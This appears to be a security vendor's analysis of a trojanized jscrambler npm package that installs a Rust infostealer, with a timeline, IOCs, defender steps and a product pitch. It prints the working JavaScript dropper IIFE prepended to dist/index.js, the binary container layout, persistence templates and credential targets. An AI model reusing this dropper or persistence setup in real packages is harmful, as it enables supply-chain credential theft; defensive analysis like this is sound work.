The official jscrambler npm package (~60,000 monthly downloads) was trojanized on July 11, 2026. Over three hours, five malicious versions were published from a compromised maintainer account, interleaved with two clean versions the maintainers pushed as remediation. The payload is a compiled Rust infostealer that targets browser credentials, crypto wallet seed phrases, and session tokens on Linux, Windows, and macOS, with platform-specific persistence and anti-analysis.
The adversary adapted mid-attack. When the maintainers reverted the first compromised version, the attacker republished within 19 minutes and ultimately switched from a preinstall hook (blocked by ignore-scripts=true) to a runtime dropper prepended to the module entry point (not blocked by ignore-scripts=true).
The artifact
jscrambler is a JavaScript code protection CLI used in CI/CD pipelines to obfuscate and harden JavaScript before deployment. It runs with build-system privileges and commonly has access to API keys, signing credentials, and deployment tokens.
No commits, tags, or pull requests exist in the jscrambler GitHub repository for any of the five malicious versions. All were published directly to npm, bypassing the project’s release workflow. This points to a compromised publishing token rather than a source repository breach.
| Time (UTC, Jul 11) | Version | Status | Technique |
|---|---|---|---|
| 15:12 | 8.14.0 | Malicious | preinstall hook (dist/setup.js) |
| 17:07 | 8.15.0 | Clean | Maintainer remediation |
| 17:26 | 8.16.0 | Malicious | preinstall hook (19 min after fix) |
| 17:41 | 8.17.0 | Malicious | preinstall hook |
| 17:46 | 8.18.0 | Malicious | Runtime IIFE (dist/index.js prepend) |
| 17:53 | 8.20.0 | Malicious | Runtime IIFE |
| 18:12 | 8.22.0 | Clean | Maintainer remediation (current latest) |
The last clean pre-attack version was 8.13.0 (June 30, 2026). At the time of this analysis, 8.14.0, 8.16.0, 8.17.0, and 8.20.0 are deprecated as compromised on npm. Version 8.18.0 (the runtime IIFE dropper) remains published without a deprecation warning.
What it does
The dropper
Two techniques were used. Versions 8.14.0, 8.16.0, and 8.17.0 added a preinstall script to package.json pointing to dist/setup.js. This executes during npm install and is blocked by ignore-scripts=true in .npmrc.
After the maintainers pushed the clean 8.15.0, the attacker changed approach. Versions 8.18.0 and 8.20.0 prepend a self-executing function to the legitimate dist/index.js entry point:
var _fs = require("fs");
var _path = require("path");
var _zlib = require("zlib");
var _child_process = require("child_process");
var _os = require("os");
(function () {
var PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };
try {
var bundle = (0, _fs.readFileSync)(
(0, _path.join)(__dirname, 'intro.js'));
var magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]);
if (!bundle.slice(0, 5).equals(magic)) return;
var platformId = PLATFORM_IDS[process.platform];
if (platformId === undefined) return;
var count = bundle[5];
var offset = 6;
for (var i = 0; i < count; i++) {
var platform = bundle[offset++];
offset += 8;
var compressedSize =
Number(bundle.readBigUInt64LE(offset)); offset += 8;
var data = bundle.slice(
offset, offset + compressedSize); offset += compressedSize;
if (platform !== platformId) continue;
var ext = platform === 1 ? '.exe' : '';
var target = (0, _path.join)((0, _os.tmpdir)(),
'.' + Math.random().toString(36).slice(2) + ext);
(0, _fs.writeFileSync)(target,
(0, _zlib.gunzipSync)(data),
{ mode: platform === 1 ? 0o644 : 0o755 });
try {
var proc = (0, _child_process.spawn)(target, [],
{ detached: true, stdio: 'ignore',
windowsHide: true });
proc.unref();
} catch (_) {}
break;
}
} catch (_) {}
})();
This runs when the module is require()’d, not at install time. ignore-scripts=true does not block it. The IIFE reuses the variable names _fs and _path that appear later in the legitimate Babel-transpiled code. To a reviewer scanning the transpiled output, the duplicate var declarations blend into normal Babel boilerplate.
The binary container
The file the dropper reads, dist/intro.js, is 7,837,238 bytes of structured binary data despite the .js extension. The legitimate package (8.13.0) totals 150 kB unpacked. The naming exploits a Jscrambler concept (“intro” scripts in code-wrapping workflows) to look like a legitimate build artifact.
| Offset | Field | Value |
|---|---|---|
| 0x00-0x04 | Magic | 1B 43 53 49 01 (ASCII: “CSI”) |
| 0x05 | Platform count | 03 |
| 0x06+ | Per entry | 1 B platform ID, 8 B decompressed size (LE), 8 B compressed size (LE), gzip data |
The container holds three gzip-compressed native binaries. All bytes in the file are accounted for.
| Platform | Decompressed | Compressed | Binary type |
|---|---|---|---|
| linux (0) | 4,521,128 B | 2,411,350 B | ELF 64-bit x86-64 |
| win32 (1) | 5,155,328 B | 3,340,266 B | PE32+ x86-64 |
| darwin (2) | 3,184,979 B | 2,085,565 B | Mach-O arm64 |
The container is byte-identical across all five malicious versions. The .comment section of the Linux ELF reveals the build toolchain:
rustc version 1.98.0-nightly (e7815e522 2026-06-04)
GCC: (GNU) 16.1.1 20260625
Linker: LLD 22.1.6
Compiled with Rust nightly from June 4, 2026, approximately five weeks before the attack.
The payload
Each binary embeds a full SQLite engine (for reading browser credential databases), a LevelDB engine with Snappy compression (for reading browser extension local storage), and a rustls TLS stack (for encrypted C2).
Credential targets (from strings extracted from binaries):
| Category | Target | String evidence |
|---|---|---|
| Chromium browsers | Chrome, Brave, Edge | Google\Chrome\User Data, BraveSoftware\Brave-Browser\User Data, Microsoft\Edge\User Data |
| Firefox | Credential store | SQLite FTS tokenizer, key4.db format handling |
| Password manager | Bitwarden extension | Extension ID nngceckbapebfimnlniiiahkandclblb |
| Session tokens | Steam | Cookie name steamLoginSecure |
| Crypto wallets | MetaMask and similar | LevelDB engine + BIP39 wordlist + vault JSON parser (vault":"{\"data\":\"...) |
Persistence (templates extracted from the binaries):
Windows Task Scheduler entry, hidden from the UI, unlimited runtime, restarts every minute up to 999 times if killed:
<Hidden>true</Hidden>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<RestartOnFailure>
<Interval>PT1M</Interval>
<Count>999</Count>
</RestartOnFailure>
macOS LaunchAgent, runs on login, auto-restarts within 30 seconds:
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
<key>ThrottleInterval</key><integer>30</integer>
The Linux binary dynamically links libbpf.so.1 and loads eBPF programs at runtime via bpf_object__open_mem and bpf_program__attach. It reads /proc/self/mountinfo and /proc/self/cgroup for container and sandbox detection.
Anti-analysis (from API imports and string evidence):
| Platform | Technique | API / path |
|---|---|---|
| Windows | Debugger detection | IsDebuggerPresent (kernel32.dll) |
| Windows | Network enumeration | GetExtendedTcpTable (iphlpapi.dll) |
| macOS | Debugger detection | sysctl / sysctlbyname (P_TRACED flag) |
| Linux | Container detection | /proc/self/cgroup, cpu.cfs_period_us |
| Linux | eBPF instrumentation | bpf_object__open_mem, bpf_program__attach |
C2 endpoints are not visible in plain strings. The binaries embed AES-NI and ChaCha20 cryptographic primitives (CRYPTOGAMS), confirming the C2 configuration is encrypted at rest and decrypted at runtime. Exfiltrated data is packaged as tar archives and transmitted over TLS using structured JSON ({"t":"out","id":"...","data":...}) with Authorization: Bearer headers.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| npm package | jscrambler@8.14.0 | Compromised, preinstall dropper |
| npm package | jscrambler@8.16.0 | Compromised, preinstall dropper |
| npm package | jscrambler@8.17.0 | Compromised, preinstall dropper |
| npm package | jscrambler@8.18.0 | Compromised, runtime IIFE dropper |
| npm package | jscrambler@8.20.0 | Compromised, runtime IIFE dropper |
| SHA256 (intro.js) | a41a523ef9517aab37ed6eea0ec881821bdcb7aefcb5c5f603adc7907f868c86 | Binary container, identical across all five versions |
| SHA256 (Linux ELF) | fbbcf4d8f98168f78f5c0c47a9ae56d59ec8ac84a7c9ca6b797fedfb8d62d2bd | Extracted payload, x86-64 |
| SHA256 (Windows PE) | b7ca95d1b23c8e67416a25cedf741de0917c2096bbc9d24649eea7853d054903 | Extracted payload, x86-64 |
| SHA256 (macOS Mach-O) | c8fd47d36bdf7c825378593ab82ed8c24d1dc52e26b507812393e24e1d5201fd | Extracted payload, arm64 |
| Magic bytes | 1B 43 53 49 01 | Binary container header in dist/intro.js |
| C2 domain | check[.]torproject[.]org | Reported in third-party dynamic analysis |
| C2 domain | archive[.]torproject[.]org | Reported in third-party dynamic analysis |
| C2 IP | 37[.]27[.]122[.]124 | Reported in third-party dynamic analysis |
| C2 IP | 57[.]128[.]246[.]79 | Reported in third-party dynamic analysis |
| Dropped file | <tmpdir>/.[a-z0-9]+(.exe)? | Hidden random-named binary in OS temp directory |
| Build toolchain | rustc 1.98.0-nightly (e7815e522 2026-06-04) | From ELF .comment section |
| Bitwarden ext ID | nngceckbapebfimnlniiiahkandclblb | Targeted browser extension |
What a defender can do
Pin jscrambler to the last clean version: npm install jscrambler@8.13.0. Check whether your lockfile resolved to any version between 8.14.0 and 8.20.0. If it did, treat the host as compromised.
Rotate all credentials accessible to the compromised process. For CI/CD pipelines, that includes npm tokens, cloud credentials, and signing keys injected as environment variables or secrets. For developer workstations, rotate browser-saved passwords and move crypto assets to a new wallet generated on a clean device.
Search your system temp directory for dropped binaries matching the pattern .[random alphanumeric] (no extension on Linux/macOS, .exe on Windows). On macOS, check ~/Library/LaunchAgents/ for plist files with KeepAlive and RunAtLoad set to true. On Windows, inspect Task Scheduler for hidden entries with PT1M restart intervals.
ignore-scripts=true blocks the preinstall-based versions (8.14.0, 8.16.0, 8.17.0) but not the runtime IIFE versions (8.18.0, 8.20.0). The runtime dropper executes when the module is loaded, not at install time. Script-blocking alone is not a sufficient defense against this technique.
Where Aephix fits
This compromise turned a legitimate build-pipeline tool into a delivery mechanism for a credential stealer with full persistence. The adversary published five versions in three hours, adapted when blocked, and one malicious version (8.18.0) remains undeprecated at time of writing. Knowing who published those versions and whether the same adversary has compromised other build-pipeline packages would be the difference between blocking one package and blocking the next one before it ships.
Aephix Sleuth links a flagged package to the wider operation behind it, with a confidence level and supporting evidence, so the next package from the same source is something you recognize before it reaches a lockfile. Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious before you install.